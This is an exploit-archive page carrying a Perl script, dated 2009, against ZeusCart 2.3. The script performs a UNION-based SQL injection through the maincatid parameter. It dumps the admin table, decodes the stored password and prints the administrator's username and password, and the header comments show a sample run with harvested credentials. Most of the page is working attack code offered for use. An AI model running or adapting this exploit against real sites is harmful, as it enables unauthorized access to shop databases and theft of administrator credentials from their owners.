exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZeusCart 2.3 SQL Injection

ZeusCart 2.3 SQL Injection
Posted May 30, 2009
Authored by Br0ly

ZeusCart versions 2.3 and be low suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 1796e6b5156981e3d6953e5bb47b2b2b5f66a0ac1ece068d56effd070194a4dd

ZeusCart 2.3 SQL Injection

Change Mirror Download
#!usr/bin/perl
#|------------------------------------------------------------------------------------------------------------------
#| -Info:
#
#| -Name: Zeus Cart V 2.3
#| -Site: http://www.zeuscart.com/
#| -Site Demo: http://www.zeuscart.com/onlinedemo.php?action=skip
#| -Bug: Sql Injection
#| -Found: by Br0ly
#| -BRAZIL >D
#| -Contact: br0ly[dot]Code[at]gmail[dot]com
#|
#| -Gretz: Osirys , xs86 , str0ke
#|
#| -p0c:
#| -SQL INJECTION:
#|
#| -9999+union+all+select+0--
#|
#| - Demo ONline:
#|
#| -> http://ajdemos.com/demo/zeuscart/v23/?do=featured&action=showmaincatlanding&maincatid=[SQL]
#|
#|
#| -Exploit: Demo:
#|
#|perl zeuscart.txt http://ajdemos.com/demo/zeuscart/v23/
#|
#| --------------------------------------
#| -Zeus Cart V2.3
#| -Sql Injection
#| -by Br0ly
#| --------------------------------------
#|
#|[+] Getting the login,pass
#|
#|[+] User = demoadmin
#|[+] Pass = demo123
#|
#|
#| ;D
#|

use IO::Socket::INET;
use LWP::UserAgent;
use MIME::Base64;

my $host = $ARGV[0];
my $sql_path = "/?do=featured&action=showmaincatlanding&maincatid=";


if (@ARGV < 1) {
&banner();
&help("-1");
}

elsif(cheek($host) == 1) {
&banner();
&xploit($host,$sql_path);
}

else {
&banner();
help("-2");
}

sub xploit() {

my $host = $_[0];
my $sql_path = $_[1];

print "[+] Getting the login,pass\n\n";

my $sql_atk = $host.$sql_path."-9999+union+all+select+concat(0x6272306c79,0x3a,admin_id,0x3a,admin_name,0x3a,admin_password,0x3a,0x6272306c79)+from+admin_table--";
my $sql_get = get_url($sql_atk);
my $connect = tag($sql_get);

if($connect =~ /br0ly:(.+):(.+):(.+):br0ly/) {

my $id = $1;
my $user = $2;
my $pass = $3;

if($id =~ /(.+):/) {

my $id_2 = $1;
}

my $pass_aux = base64_decode($pass);

print "[+] User = $user\n";
print "[+] Pass = $pass_aux\n";

exit(0);
}
else {
print "[-] Exploit, Fail\n";
exit(0);

}
}

sub get_url() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub base64_decode () {

my $str_1 = $_[0];
my $str_decode = decode_base64($str_1);
return $str_decode;
}


sub help() {

my $error = $_[0];
if ($error == -1) {
print "\n[-] Error, missed some arguments !\n\n";
}

elsif ($error == -2) {

print "\n[-] Error, Bad arguments !\n";
}

print "[*] Usage : perl $0 http://localhost/zeuscart/\n\n";
print " Ex: perl $0 http://localhost/zeuscart/\n\n";
exit(0);
}

sub banner {
print "\n".
" --------------------------------------\n".
" -Zeus Cart V2.3 \n".
" -Sql Injection \n".
" -by Br0ly \n".
" --------------------------------------\n\n";
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close